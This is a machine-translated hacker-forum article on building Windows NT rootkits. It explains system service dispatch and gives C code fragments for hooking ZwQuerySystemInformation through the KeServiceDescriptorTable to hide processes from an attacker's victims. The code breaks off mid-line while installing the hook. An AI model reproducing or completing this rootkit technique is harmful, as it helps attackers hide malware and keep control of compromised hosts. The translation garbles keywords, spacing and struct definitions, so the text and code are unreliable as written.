A Preliminary Study on the Rootkit Technology of the NT Operating System

Author: JackJOne Source: hacker line

At present, I have some experiences with the Rootkit Technology in Windows. I 'd like to share it with you here.
Rootkit originated from UNIX at the beginning of 1990s. The name Rootkit was first used in a security consulting report in February 1994. This security advisory is the CERT-CC of the CA-1994-01 entitled Ongoing Network Monitoring Attacks, the latest revised on September 19, 1997. Since its appearance, Rootkit has developed rapidly and has become more and more widely used, making detection more and more difficult. In addition, users have evolved from computer experts to "civilian. Currently, rootkits on Windows platforms are becoming increasingly popular, such as RU, hxdef1.0, and AFX2005. These are classic rootkits. Hackers can hide themselves and hide files, hide other unprotected programs, modify various system configurations, modify environment variables, and so on to control the host for a long time.
A typical Rootkit consists of the following parts:
Hidden programs are used to hide Rootkit program files, process information, and registry information. They can also provide hidden help for other processes;
A Trojan horse provides the attacker with a backdoor next time;
A remote Shell that supports attackers to continue penetration and other work;
As can be seen from the components of Rootkit, the main difference between Rootkit and common Trojan Horse is the hidden mode and hidden function. The following mainly analyzes the hidden Rootkit. Before going deep into the technical details of Rootkit, we will give a brief introduction to the system kernel of WindowsNT:
System Service
1. Windows system services. Windows Services are a group of functions provided by the operating system. application interfaces allow developers to directly or indirectly call system services, the operating system provides application interfaces in the form of dynamic connection libraries, while some APIs used for programming are directly from the corresponding system services, others depend on multiple other system service calls, that is, the application interface and system service are not called one-to-one. This relationship can be expressed as follows:
Kernel32.dll NTDLL. DLL

 

+

+

2. system services under Windows NT. In Windows NT, NT executive (NTOSKERL. EXE) provides core system services. These services are very simple and original. The interfaces of various Win32, OS/2, and POSIX applications are provided in the form of DLL, these application interfaces in turn call the services provided by NT executive. Although the same service is called, the names of API functions vary depending on the subsystem name. For example, to open a file using Win32 API, use the CreateFile () function, however, the posix api uses the open () function, but the final result is to call the NtCreateFile () System Service of the system service.
3. The NTOSKERL system service user interface is provided in the form of packaging functions. These packaging functions are all in the DLL of NTDLL. DLL. These packaging functions use the INT 2E command to switch to the kernel mode and execute the required system services. WIN32 API functions (mainly in Kernel32.DLL and Advapi. DLL) Use these packaging functions to call system services. The WIN32 API function checks the parameter validity, converts all parameters to UNICODE encoding, and then calls the corresponding packaging function in NTDLL. Each system Service in NTOSKERL has a Service ID. The packaging function in NTDLL sends the Service ID of the required system Service to the EAX register and sends the pointer pointing to the stack to the edx register, then the INT 2E command is issued, which switches the processor to kernel mode and enables the processor to start executing the processing program specified for INT 2E in the Interrupt Descriptor Table, this processing program is created by Windows NT executive. The INT 2E processor copies parameters from the user mode stack to the kernel mode stack. The base address of the stack is the value of the edx register, the INT 2E handler provided by NT executive is internally called KiSystemService ().
4. Ring3 and Ring0. Among all CPU commands, some commands are very dangerous. If they are used incorrectly, the entire system will crash. If all programs can use these commands, the system then becomes a machine for unknown reasons, and a blue screen is displayed. For this reason, the CPU divides commands into privileged commands and non-privileged commands, for privileged commands that can only be used by the operating system and related modules, common applications can only use commands that do not cause disasters. It can be more vividly said that privileged commands are not suitable for children, and non-privileged commands are suitable for all ages. Intel's CPU command privilege levels are divided into four levels: Ring0, Ring1, Ring2, Ring3. Windows only uses the Ring0 and Ring3 levels. Ring0 is used by the operating system and Ring3 can be used by any application. In Windows, all system services work on the Ring0 level, and functions provided by the NT Service are fully run in kernel mode.
Function of Hook
Hooking is a common mechanism for intercepting/listening information about executable code during execution. It can monitor a message in a specified window, this monitoring window can be created by any process. When a message arrives, the hook program can analyze and process the message before it is processed by the application. Therefore, hooks allow us to understand the internal structure, operating mechanism, and even modify the functions of the system.
Hook System Service
Through a brief introduction to Windows system services and Hook technology, it is clear that here we will think that the APIS called by applications are ultimately implemented through system services, if we use the Hook Technology to hook system services, can we achieve our hidden purpose? The answer is completely feasible.
To query the Windows 2000 Native Api, we can find that the Process Information queried in the task manager is implemented through ZwQuerySystemInformation, so we can hook this function to modify various returned system information, then, can I hide a specific return value by implementing this function? ZwQuerySystemInformation is provided in System services. The simplest way to hook up System services is to locate the System Service scheduling Table used by the operating System ), to point it to a function of our own, modify the information returned by the call, and then call back. However, this table is protected by the operating system at the page and table level. The page attribute of the page where this table is located is set to read and write only in kernel mode, user-level applications cannot read or write this page unit. Therefore, you must use the kernel driver to modify and hook this table.
The export list of NTOSKERL contains an undisclosed table item structure called KeServiceDescriptorTable (). This table item is the key to accessing the system service scheduling table. We can use it to access and modify the system service scheduling table. The structure of this table item is as follows:
Typedef struct ServiceDescriptorTable {
PVOID ServiceTableBase;
PVOID ServiceCounterTable (0 );
Unsigned int NumberOfServices;
PVOID ParamTableBase;
}
Where
ServiceTableBase is the base address of the system service scheduling table;
NumberOfServices is the number of services described in the system service scheduling table;
ServiceCounterTable (0) is the checked builds of the operating system. It contains the counter of the number of times each service is scheduled in the system service scheduling table. This counter is updated by the INT 2E processor (KiSystemSerivce;
ParamTableBase contains the base address of each system service parameter byte table.
Both ServiceTableBase and ParaTableBase have NumberOfService table items. Each table item is a function pointer pointing to the corresponding system.
We can modify the ServiceTableBase parameter of KeServiceDescriptorTable to hook the system service call, the system service we need to modify here is ZwQuerySystemInformation.
Root kit code analysis of a simple hidden process
# Pragma pack (1)
Typedef struct ServiceDescriptorEntry {
Unsigned int * ServiceTableBase;
Unsigned int * ServiceCounterTableBase; // Used only in checked build
Unsigned int NumberOfServices;
Unsigned char * ParamTableBase;
} ServiceDescriptorTableEntry_t, * PServiceDescriptorTableEntry_t;
# Pragma pack ()
Defines the undisclosed KeserviceDescriptorTable. Associate the keserviceDescriptorTable with the relevant data structure and define the system call:
_ Declspec (dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
# Define SYSTEMSERVICE (_ function) KeServiceDescriptorTable. ServiceTableBase [* (PULONG) (PUCHAR) _ function + 1)]
Define the undisclosed function ZwQuerySystemInformation:
Typedef
NTSTATUS
(* ZWQUERYSYSTEMINFORMATION )(
In ulong SystemInformationClass,
In out pvoid SystemInformation,
In ulong SystemInformaitonLength,
Out pulong ReturnLength OPTIONAL );
Typedef NTSTATUS (* ZWQUERYSYSTEMINFORMATION )(
ULONG SystemInformationCLass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
Define the data structure in the ZwQuerySystemInformation Function
Struct _ SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};

Struct _ SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved [6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2 [2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters; // Windows 2000 only
Struct _ SYSTEM_THREADS Threads [1];
};

Struct _ SYSTEM_PROCESSOR_TIMES
{
LARGE_INTEGER IdleTime;
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER DpcTime;
LARGE_INTEGER InterruptTime;
ULONG InterruptCount;
};
Modify the system service call, retain the original entry address, and change the corresponding address of the system service to the entry address of our program:
OldZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION) (SYSTEMSERVICE (ZwQuerySystemInformation ));
_ Asm cli
(ZWQUERYSYSTEMINFORMATION) (SYSTEMSERVICE (ZwQuerySystemInformation) = NewZwQuerySy